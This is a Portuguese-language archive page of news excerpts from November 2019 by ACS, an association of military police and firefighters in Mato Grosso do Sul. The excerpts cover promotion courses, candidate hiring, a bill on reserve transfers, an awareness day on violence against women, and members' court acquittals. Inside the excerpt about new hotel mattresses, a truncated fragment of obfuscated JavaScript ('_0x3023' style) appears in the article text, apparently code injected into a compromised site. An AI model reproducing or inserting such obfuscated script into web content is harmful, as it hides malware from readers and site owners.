sábado, novembro 23
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Mês: novembro 2019

Cursos preveem 596 vagas para novos sargentos da Polícia Militar

Cursos preveem 596 vagas para novos sargentos da Polícia Militar

Ação ACS, Notícias
Os próximos cursos de promoção para sargentos da Polícia Militar podem abrir 596 vagas. Para dezembro deste ano, o CFS (Curso de Formação de Sargentos) pode ter até 256 vagas, enquanto, para julho de 2020, outras 340 vagas podem ser abertas, conforme solicitação do Comando-Geral. A informação foi repassada pelo comandante-geral da PM, coronel Waldir Ribeiro Acosta, ao secretário de Estado de Justiça e Segurança Pública, Antônio Carlos Videira, após reivindicação da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul). Os números referem-se ao que foi solicitado pela ACS e pelo Comando junto ao Governo do Estado. A solicitação, no entanto, está na Governadoria de depende do aval do Executivo. Jeozadaque Garcia Assessoria de Imprensa da ACS ...
ACS vai cobrar convocação de candidatos aprovados no último concurso para soldados da PM e Bombeiros

ACS vai cobrar convocação de candidatos aprovados no último concurso para soldados da PM e Bombeiros

Destaques, Notícias
A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) vai oferecer apoio social e jurídico aos candidatos aprovados no último concurso para soldados da Polícia Militar e do Corpo de Bombeiros. Há mais de um ano sem um posicionamento oficial do Governo e sem a homologação do certame, eles temem ter que refazer todas as etapas do concurso. “Estamos há mais de um ano aguardando para finalizar o concurso e se o nosso Governador não convocar de imediato todos no prazo de seis meses, os candidatos que estão no 3 x 1 terão que refazer as etapas, sendo que o curso de exames médicos são altos, beirando a casa dos R$ 3 mil”, diz trecho de um documento, intitulado “Pedido de Socorro”, assinado por um grupo de representantes dos candidatos. Na manhã d...
ACS investe no Hotel e adquire novos colchões para atender associados

ACS investe no Hotel e adquire novos colchões para atender associados

Notícias
Visando o conforto e comodidade dos associados, a ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) adquiriu, esta semana, 17 colchões para o Hotel de Trânsito da sede. São cinco de casal e outros 12 de solteiro. O espaço acolhe os associados do interior e ainda conta com um serviço de transfer aos que estão na Capital para tratamento de saúde. “Conquistamos para o nosso sócio o que falamos em nossa campanha: reestruturação, para promover um atendimento de qualidade”, disse o presidente da entidade, cabo Mario Sérgio Couto. Jeozadaque Garcia Assessoria de Imprensa da ACS function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x302...
Entidades conseguem apoio de deputados para mudar projeto que veta transferência a pedido para a reserva de policial que responder processo

Entidades conseguem apoio de deputados para mudar projeto que veta transferência a pedido para a reserva de policial que responder processo

Ação ACS, Notícias
Representantes das principais entidades representativas dos servidores militares sul-mato-grossenses conseguiram, nesta terça-feira (26), a assinatura de dez deputados estaduais para alterar o Projeto de Lei Complementar que veta a transferência para a reserva de policial que estiver “respondendo a inquérito ou a processo em qualquer jurisdição”. Os militares articulam na Assembleia com apoio dos deputados estaduais Cabo Almi e Coronel David. A proposta, de autoria do Governo do Estado, deu entrada no legislativo estadual na última semana. “Compreendemos que essa exigência é absurda, tendo em vista que o policial está todos os dias em confronto, passível de responder inquérito”, resumiu o presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato G...

Dia Internacional pela Eliminação da Violência contra a Mulher promove reflexão

Notícias
Queda da escada. Escorregão. Batida em um móvel da casa. As desculpas para as vítimas de violência doméstica que não querem denunciar seus parceiros são muitas. Hoje, 25 de novembro, é celebrado o Dia Internacional para a Eliminação da Violência contra as Mulheres. A data foi estabelecida no Primeiro Encontro Feminista Latino-Americano e do Caribe realizado em Bogotá (COL). “Nos últimos anos, a violência contra a mulher tem crescido de várias formas. Qualquer ação ou conduta que cause morte, dor ou sofrimento físico, sexual ou psicológico à mulher, tanto no âmbito público ou privado, deve ser denunciado”, alerta a psicóloga da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), Alícia Izidre do Couto. Em 1999, a Assembleia Geral da Organi...
ACS tenta alterar projeto que veta transferência a pedido para a reserva de policial que responder processo

ACS tenta alterar projeto que veta transferência a pedido para a reserva de policial que responder processo

Destaques, Notícias
A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) vai tentar, na Assembleia Legislativa, alterar o Projeto de Lei Complementar que veta a transferência para a reserva de policial que estiver “respondendo a inquérito ou a processo em qualquer jurisdição”. A proposta, de autoria do Governo do Estado, deu entrada no legislativo estadual na última semana e prevê, entre outros pontos, o aumento do tempo para a reforma ex officio dos militares: para Oficiais do sexo masculino, 70 anos; para Oficiais do sexo feminino, 65 anos; para Praças do sexo masculino, 65 anos; e para Praças do sexo feminino, 60 anos. “Parte do projeto é boa, no entanto, outra parte não atende aos anseios dos militares. Por isso, analisamos o texto com ressalvas”, afirmo...
ACS reúne diretoria para analisar projeto que altera legislação dos militares

ACS reúne diretoria para analisar projeto que altera legislação dos militares

Notícias
A ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) vai reunir, na segunda-feira (25) pela manhã, sua diretoria Executiva, bem como as Regionais, para analisar o projeto de lei complementar que acrescenta dispositivos ao art. 90 e altera a redação das alíneas do inciso I do caput do art. 95 da Lei Complementar nº 053, de 30 de agosto de 1990, que dispõe sobre o Estatuto dos Policiais Militares de Mato Grosso do Sul. A proposta que deu entrada na Assembleia Legislativa foi formulada pelo Governo do Estado e prevê, em um de seus pontos, o fim da transferência para a reserva remunerada, a pedido, ao policial militar que estiver respondendo a inquérito ou a processo em qualquer jurisdição, ou cumprindo pena de qualquer natureza. Além disso, ...
Policial militar associado é absolvido da acusação de denunciação caluniosa

Policial militar associado é absolvido da acusação de denunciação caluniosa

Destaques, Notícias
Um policial militar, filiado na Regional de Naviraí, foi absolvido da acusação do crime de denunciação caluniosa, no último dia 13. A defesa foi feita pela assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul). Segundo denúncia do MPE (Ministério Público Estadual), o policial militar, ciente da ilicitude e reprovabilidade de sua conduta, deu causa a instauração de inquérito policial e de processo judicial contra a vítima, imputando-lhe crimes de que sabia ser ele inocente (CP, art. 339). Levado a julgamento, a defesa sustentou a correção da conduta do acusado frente a ocorrência, bem como a ausência de provas acerca da autoria do fato delituoso. O Conselho de Justiça Militar, por unanimidade, acolheu a tese da defesa ...

Policial militar da reserva que reclamou de atendimento em UBS é absolvido da acusação de ameaça

Notícias
A assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul) conseguiu, na Justiça Comum, a absolvição de um sargento da reserva da Polícia Militar que reclamou do atendimento em uma unidade de saúde da Capital e acabou denunciado por ameaça. O caso aconteceu em fevereiro deste ano, quando o policial, que é idoso, procurou atendimento médico após passar por um mal súbito. No entanto, relatou ter sido negligenciado por servidores do posto de saúde. Ao reclamar, acabou denunciado por ameaça. O fato ganhou ampla repercussão na mídia, já que, após voltar para sua casa, o militar foi praticamente arrastado de dentro de sua casa por guardas municipais, após denúncia da servidora. A defesa sustentou a tese da ausência absoluta de...

Policiais militares são absolvidos do crime de posse de munições na Justiça Militar

Notícias
Dois policiais militares lotados em Aquidauana, mas associados na Regional de Três Lagoas, foram absolvidos da acusação de posse de munições de uso permitido e restrito. A defesa foi feita pela assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul). Segundo a defesa, o fato aconteceu por ocasião de busca e apreensão realizada em 2018 durante a operação Oiketicus, desencadeada pelo Gaeco. Naquela oportunidade, foram encontradas na residência dos policiais militares algumas munições de uso permitido e diversos cartuchos de uso restrito, o que levou a denúncia pelo Ministério Público. A defesa sustentou oralmente a tese de atipicidade de conduta, inexistência de laudo pericial comprovando a condição de uso das munições, e ...